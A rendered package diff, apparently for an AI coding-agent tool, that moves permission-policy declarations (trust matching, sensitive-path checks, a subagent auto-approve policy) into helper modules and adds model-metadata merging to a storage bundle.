export declare function inputPathLooksSensitive(input: unknown): boolean;
|
|
92
|
+
export declare function shellCommandReadsSensitivePath(command: string): boolean;
|
|
93
|
+
//# sourceMappingURL=permission-helpers.d.ts.map
|
|
@@ -3,26 +3,8 @@ import type { InputReader } from '../types/input-reader.js';
|
|
|
3
3
|
import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
|
|
4
4
|
import type { Tool } from '../types/tool.js';
|
|
5
5
|
import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
* `undefined` when it can (WS-046).
|
|
9
|
-
*
|
|
10
|
-
* A stored trust pattern is only ever consulted as
|
|
11
|
-
* `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
|
|
12
|
-
* produces no subject, that condition can never be true — so `trust()` with the
|
|
13
|
-
* fallback `pattern: tool.name` writes an entry that is dead on arrival.
|
|
14
|
-
*
|
|
15
|
-
* The user experience of that bug is the damaging part. They pick "always
|
|
16
|
-
* allow", are asked again on the very next identical call, conclude the feature
|
|
17
|
-
* is broken, and reach for the one thing that does work: a blanket
|
|
18
|
-
* `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
|
|
19
|
-
* actively trains people into the widest possible grant.
|
|
20
|
-
*
|
|
21
|
-
* So the option is refused with a stated reason instead of accepted and
|
|
22
|
-
* discarded. Exported so a UI can hide the choice rather than offer one that
|
|
23
|
-
* cannot be honoured.
|
|
24
|
-
*/
|
|
25
|
-
export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
|
|
6
|
+
export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
|
|
7
|
+
export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
|
|
26
8
|
export interface PermissionPolicyOptions {
|
|
27
9
|
trustFile: string;
|
|
28
10
|
yolo?: boolean | undefined;
|
|
@@ -160,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
|
|
|
160
142
|
explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
|
|
161
143
|
private findNamespaceEntry;
|
|
162
144
|
}
|
|
163
|
-
/**
|
|
164
|
-
* Auto-approving PermissionPolicy used for subagents. Subagents run
|
|
165
|
-
* non-interactively under a director — they cannot answer permission
|
|
166
|
-
* prompts, so a non-YOLO policy on the leader would silently hang the
|
|
167
|
-
* delegated run on the first sensitive tool call. The user already
|
|
168
|
-
* authorized the delegation when they invoked the leader; subagents
|
|
169
|
-
* inherit that authorization automatically.
|
|
170
|
-
*
|
|
171
|
-
* Tool defaults of `permission: 'deny'` are still honored (this is a
|
|
172
|
-
* subagent capability override, not a deny-bypass).
|
|
173
|
-
*
|
|
174
|
-
* 2026-06+: Primary decision is now based on declared `Tool.capabilities`
|
|
175
|
-
* (capability allowlist / denylist model). The legacy name-based DENY set
|
|
176
|
-
* is kept only for backward compatibility with tools that have not yet
|
|
177
|
-
* declared capabilities.
|
|
178
|
-
*
|
|
179
|
-
* 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
|
|
180
|
-
* allowed capabilities are auto-approved. Everything else is denied.
|
|
181
|
-
* Default allowed: fs.read, net.outbound (read-only, safe operations).
|
|
182
|
-
*/
|
|
183
|
-
export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
|
|
184
|
-
private readonly allowedCapabilities;
|
|
185
|
-
constructor(allowedCapabilities?: readonly string[]);
|
|
186
|
-
private static isMcpTool;
|
|
187
|
-
evaluate(tool: Tool): Promise<PermissionDecision>;
|
|
188
|
-
trust(): Promise<void>;
|
|
189
|
-
deny(): Promise<void>;
|
|
190
|
-
denyOnce(): void;
|
|
191
|
-
allowOnce(): void;
|
|
192
|
-
explain(tool: Tool): Promise<PermissionTrace>;
|
|
193
|
-
reload(): Promise<void>;
|
|
194
|
-
}
|
|
195
145
|
//# sourceMappingURL=permission-policy.d.ts.map
|
package/dist/storage/index.js
CHANGED
|
@@ -6216,13 +6216,32 @@ function inlineDefinition(model) {
|
|
|
6216
6216
|
if (maxOutput !== void 0) definition.maxOutput = maxOutput;
|
|
6217
6217
|
const capabilities = readCapabilities(model);
|
|
6218
6218
|
if (capabilities) definition.capabilities = capabilities;
|
|
6219
|
+
const { id: _id, ...rest } = model;
|
|
6220
|
+
if (Object.keys(rest).length > 0) {
|
|
6221
|
+
definition.modelsDev = rest;
|
|
6222
|
+
}
|
|
6219
6223
|
return definition;
|
|
6220
6224
|
}
|
|
6221
6225
|
function mergeDefinitions(base, patch) {
|
|
6226
|
+
const mergedModelsDev = (() => {
|
|
6227
|
+
if (!base?.modelsDev && !patch.modelsDev) return void 0;
|
|
6228
|
+
const baseMd = base?.modelsDev ?? {};
|
|
6229
|
+
const patchMd = patch.modelsDev ?? {};
|
|
6230
|
+
const result = { ...baseMd, ...patchMd };
|
|
6231
|
+
for (const nestedKey of ["limit", "cost", "modalities"]) {
|
|
6232
|
+
const bn = baseMd?.[nestedKey];
|
|
6233
|
+
const pn = patchMd?.[nestedKey];
|
|
6234
|
+
if (bn || pn) {
|
|
6235
|
+
result[nestedKey] = { ...bn ?? {}, ...pn ?? {} };
|
|
6236
|
+
}
|
|
6237
|
+
}
|
|
6238
|
+
return result;
|
|
6239
|
+
})();
|
|
6222
6240
|
return {
|
|
6223
6241
|
...base,
|
|
6224
6242
|
...patch,
|
|
6225
|
-
...base?.capabilities || patch.capabilities ? { capabilities: { ...base?.capabilities, ...patch.capabilities } } : {}
|
|
6243
|
+
...base?.capabilities || patch.capabilities ? { capabilities: { ...base?.capabilities, ...patch.capabilities } } : {},
|
|
6244
|
+
...mergedModelsDev ? { modelsDev: mergedModelsDev } : {}
|
|
6226
6245
|
};
|
|
6227
6246
|
}
|
|
6228
6247
|
function normalizeInlineProviderModels(config, warn) {
|
|
@@ -6630,7 +6649,7 @@ var CONFIG_BEHAVIOR_DEFAULTS = {
|
|
|
6630
6649
|
// DEFAULT_STATUSLINE_MODE (packages/tui/src/components/settings-picker-model.ts).
|
|
6631
6650
|
statuslineMode: "minimum",
|
|
6632
6651
|
thinkingWord: DEFAULT_TUI_THINKING_WORD,
|
|
6633
|
-
showAgentSwarmPanel:
|
|
6652
|
+
showAgentSwarmPanel: "bottom"
|
|
6634
6653
|
},
|
|
6635
6654
|
circuitBreaker: { ...DEFAULT_CIRCUIT_BREAKER_CONFIG },
|
|
6636
6655
|
modelRuntime: {
|